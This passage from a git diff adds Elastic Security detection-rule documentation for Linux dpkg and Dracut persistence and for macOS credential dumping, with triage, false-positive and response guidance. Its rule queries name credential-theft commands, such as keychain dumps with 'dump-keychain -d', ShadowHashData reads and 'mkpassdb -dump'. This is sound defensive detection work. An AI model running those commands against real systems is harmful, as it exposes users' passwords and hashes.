+** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dpkg-package-installed-by-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dpkg-package-installed-by-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..0e7523c5d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dpkg-package-installed-by-unusual-parent-process.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-dpkg-package-installed-by-unusual-parent-process]] +=== DPKG Package Installed by Unusual Parent Process + +This rule detects the installation of a Debian package (dpkg) by an unusual parent process. The dpkg command is used to install, remove, and manage Debian packages on a Linux system. Attackers can abuse the dpkg command to install malicious packages on a system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.makeuseof.com/how-deb-packages-are-backdoored-how-to-detect-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Supply Chain +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DPKG Package Installed by Unusual Parent Process* + + +DPKG is a core utility for managing Debian packages on Linux systems, crucial for software installation and maintenance. Adversaries may exploit DPKG to install malicious packages, leveraging unusual parent processes to evade detection. The detection rule identifies such anomalies by monitoring DPKG executions initiated by atypical parent processes, signaling potential unauthorized package installations. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process of the dpkg execution. Determine if the parent process is legitimate or unusual for package installations. +- Examine the command-line arguments used with the dpkg command, specifically looking for the "-i" or "--install" flags, to understand what package was being installed. +- Check the source and integrity of the package being installed to ensure it is from a trusted repository or source. +- Investigate the user account under which the dpkg command was executed to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts around the same timeframe to identify any related suspicious activities or patterns. +- Assess the system for any signs of compromise or unauthorized changes following the package installation. + + +*False positive analysis* + + +- System updates or maintenance scripts may trigger the rule when legitimate administrative tools or scripts use dpkg to install updates. To handle this, identify and whitelist known maintenance scripts or processes that regularly perform package installations. +- Automated deployment tools like Ansible or Puppet might use dpkg for software deployment, leading to false positives. Exclude these tools by adding their process names to an exception list if they are part of your standard operations. +- Custom internal applications or scripts that manage software installations could also cause alerts. Review these applications and, if verified as safe, configure exceptions for their parent processes. +- Developers or system administrators using dpkg for testing or development purposes might inadvertently trigger the rule. Establish a policy for such activities and exclude known development environments or user accounts from triggering alerts. +- Backup or recovery operations that reinstall packages as part of their process can be mistaken for malicious activity. Identify these operations and exclude their associated processes from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized package installations or lateral movement by the adversary. +- Terminate the dpkg process if it is still running to stop any ongoing malicious package installation. +- Identify and remove any suspicious or unauthorized packages installed by the dpkg command using the package management tools available on the system. +- Conduct a thorough review of the system's package installation logs and history to identify any other potentially malicious packages or unusual installation activities. +- Restore the system from a known good backup if malicious packages have altered critical system components or configurations. +- Implement stricter access controls and monitoring on systems to prevent unauthorized use of package management utilities by non-administrative users or processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected, ensuring a coordinated response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and process.name:dpkg and +process.args:("-i" or "--install") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dracut-module-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dracut-module-creation.asciidoc new file mode 100644 index 0000000000..41110c14e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dracut-module-creation.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-dracut-module-creation]] +=== Dracut Module Creation + +This rule detects the creation of Dracut module files on Linux systems. Dracut is a tool used to generate an initramfs image that is used to boot the system. Dracut modules are scripts that are executed during the initramfs image generation process. Attackers may create malicious Dracut modules to execute arbitrary code at boot time, which can be leveraged to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dracut Module Creation* + + +Dracut is a utility for generating initramfs images, crucial for booting Linux systems. It uses modules, which are scripts executed during image creation. Adversaries may exploit this by crafting malicious modules to execute code at boot, ensuring persistence. The detection rule identifies unauthorized module creation by monitoring file paths and excluding known legitimate processes, helping to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path of the created Dracut module to determine if it matches known legitimate paths or if it appears suspicious, focusing on paths like "/lib/dracut/modules.d/*" and "/usr/lib/dracut/modules.d/*". +- Identify the process that created the Dracut module by examining the process.executable field, and verify if it is listed in the known legitimate processes or if it is an unexpected process. +- Check the file extension of the created module to ensure it is not one of the excluded extensions such as "swp", "swpx", "swx", or "dpkg-remove". +- Investigate the history and behavior of the process that created the module, including its parent process and any associated network activity, to assess if it has been involved in other suspicious activities. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that might suggest malicious activity. +- Consult threat intelligence sources to determine if there are any known threats or campaigns associated with the process or file path involved in the alert. + + +*False positive analysis* + + +- Package managers like dpkg, rpm, and yum may trigger false positives when they update or install packages. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can create or modify Dracut modules as part of their configuration management tasks. Add these tools to the exclusion list to prevent false alerts. +- System updates or maintenance scripts that run as part of regular system operations might be flagged. Review these scripts and add their executables to the exclusion list if they are verified as non-threatening. +- Custom scripts or applications that interact with Dracut modules for legitimate purposes should be reviewed and, if deemed safe, added to the exclusion list to avoid unnecessary alerts. +- Temporary files or backup files with extensions like swp or dpkg-remove may be mistakenly flagged. Ensure these extensions are included in the exclusion criteria to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Conduct a thorough review of the Dracut module files located in the specified directories (/lib/dracut/modules.d/*, /usr/lib/dracut/modules.d/*) to identify and remove any unauthorized or suspicious modules. +- Restore the system from a known good backup if malicious Dracut modules are confirmed, ensuring that the backup predates the unauthorized changes. +- Implement additional monitoring on the affected system to detect any further unauthorized Dracut module creation or other suspicious activities. +- Review and tighten access controls and permissions for the directories and processes involved in Dracut module creation to prevent unauthorized modifications. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance detection capabilities to include alerts for any future unauthorized Dracut module creation attempts, leveraging the specific indicators identified in this incident. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like~ ("/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*") and not ( + // Too many FPs from Python automation + process.name like ("python*", "platform-python*") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "/usr/libexec/packagekitd", + "./usr/bin/podman", "/usr/lib/dracut/dracut-install", "/usr/bin/dnf5", "/kaniko/executor", "/usr/bin/buildah", + "/usr/sbin/yum-cron" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-account-hashes-via-built-in-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-account-hashes-via-built-in-commands.asciidoc new file mode 100644 index 0000000000..a592ed84e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-account-hashes-via-built-in-commands.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-dumping-account-hashes-via-built-in-commands]] +=== Dumping Account Hashes via Built-In Commands + +Identifies the execution of macOS built-in commands used to dump user account hashes. Adversaries may attempt to dump credentials to obtain account login information in the form of a hash. These hashes can be cracked or leveraged for lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored +* https://www.unix.com/man-page/osx/8/mkpassdb/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dumping Account Hashes via Built-In Commands* + + +In macOS environments, built-in commands like `defaults` and `mkpassdb` can be exploited by adversaries to extract user account hashes, which are crucial for credential access. These hashes, once obtained, can be cracked to reveal passwords or used for lateral movement within a network. The detection rule identifies suspicious process executions involving these commands and specific arguments, signaling potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `defaults` or `mkpassdb` commands with arguments like `ShadowHashData` or `-dump`, as these are indicative of credential dumping attempts. +- Identify the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it appears suspicious. +- Check the historical activity of the involved user account and the host to identify any patterns or anomalies that could suggest unauthorized access or lateral movement. +- Investigate any network connections or subsequent processes initiated by the suspicious process to assess potential data exfiltration or further malicious actions. +- Correlate the event with other security alerts or logs from the same host or user account to build a comprehensive timeline of the activity and assess the scope of the potential compromise. + + +*False positive analysis* + + +- System administrators or security tools may legitimately use the `defaults` or `mkpassdb` commands for system maintenance or auditing purposes. To manage these, create exceptions for known administrative accounts or tools that regularly execute these commands. +- Automated scripts or management software might invoke these commands as part of routine operations. Identify and whitelist these scripts or software to prevent unnecessary alerts. +- Developers or IT personnel might use these commands during testing or development phases. Establish a process to temporarily exclude these activities by setting up time-bound exceptions for specific user accounts or devices. +- Security assessments or penetration tests could trigger this rule. Coordinate with security teams to schedule and document these activities, allowing for temporary rule adjustments during the testing period. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes identified as using the `defaults` or `mkpassdb` commands with the specified arguments to halt ongoing credential dumping activities. +- Conduct a thorough review of user accounts on the affected system to identify any unauthorized access or changes, focusing on accounts with elevated privileges. +- Reset passwords for all potentially compromised accounts, especially those with administrative access, and enforce strong password policies. +- Analyze system logs and network traffic to identify any additional systems that may have been accessed using the compromised credentials, and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement enhanced monitoring and alerting for similar suspicious activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start","process_started") and ( + (process.name == "defaults" and process.args like~ "ShadowHashData") or + (process.name == "mkpassdb" and process.args == "-dump") or + (process.name == "dscl" and process.args like~ "ShadowHashData") or + ( + process.name in ("plutil","cat","strings","xxd","head") and + process.args like "/var/db/dslocal/nodes/Default/users/*.plist" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-of-keychain-content-via-security-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-of-keychain-content-via-security-command.asciidoc new file mode 100644 index 0000000000..c381583594 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dumping-of-keychain-content-via-security-command.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-dumping-of-keychain-content-via-security-command]] +=== Dumping of Keychain Content via Security Command + +Adversaries may dump the content of the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ss64.com/osx/security.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dumping of Keychain Content via Security Command* + + +Keychains in macOS securely store user credentials, including passwords and certificates. Adversaries exploit this by using commands to extract keychain data, aiming to access sensitive information. The detection rule identifies suspicious activity by monitoring processes that initiate keychain dumps, specifically looking for command-line arguments associated with this malicious behavior, thus alerting analysts to potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process and determine if the keychain dump was initiated by a legitimate application or user. +- Examine the user account associated with the process to verify if the activity aligns with their typical behavior or if the account may be compromised. +- Check the timestamp of the event to correlate with any other suspicious activities or anomalies on the system around the same time. +- Investigate the command-line arguments used in the process to confirm if they match known patterns of malicious keychain dumping attempts. +- Analyze any network connections or data transfers initiated by the process to identify potential exfiltration of the dumped keychain data. +- Look for additional alerts or logs from the same host or user to assess if this is part of a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative tasks or system maintenance activities may trigger the rule if they involve keychain access. Users should review the context of the process initiation to determine if it aligns with routine administrative operations. +- Security or IT tools that perform regular audits or backups of keychain data might be flagged. Users can create exceptions for these tools by identifying their specific process names or paths and excluding them from the rule. +- Developers or advanced users testing applications that require keychain access might inadvertently trigger the rule. Users should document these activities and consider temporary exclusions during development phases. +- Automated scripts or workflows that interact with keychain data for legitimate purposes could be mistaken for malicious activity. Users should ensure these scripts are well-documented and consider adding them to an allowlist if they are frequently used. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the "dump-keychain" command, to halt ongoing credential theft attempts. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access or export of credentials and determine the scope of the compromise. +- Change all credentials stored in the keychain, including passwords for Wi-Fi, websites, and any other services, to mitigate the risk of unauthorized access using stolen credentials. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup predates the compromise. +- Escalate the incident to the security operations team for further investigation and to assess whether additional systems may be affected. +- Implement enhanced monitoring and alerting for similar suspicious activities, focusing on keychain access and command-line arguments related to credential dumping, to prevent future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args like~ "dump-keychain" and process.args == "-d" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dylib-injection-via-process-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dylib-injection-via-process-environment-variables.asciidoc new file mode 100644 index 0000000000..ac93364f71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dylib-injection-via-process-environment-variables.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-dylib-injection-via-process-environment-variables]] +=== Dylib Injection via Process Environment Variables + +Detects the use of process environment variables (DYLD_INSERT_LIBRARIES or LD_PRELOAD) to inject a shared library into a binary at or prior to execution. A threat actor may use this technique to load a malicious shared library for persistence, privilege escalation, and defense evasion. This activity is uncommon and typically indicates malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/ +* https://attack.mitre.org/techniques/T1574/006/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dylib Injection via Process Environment Variables* + + 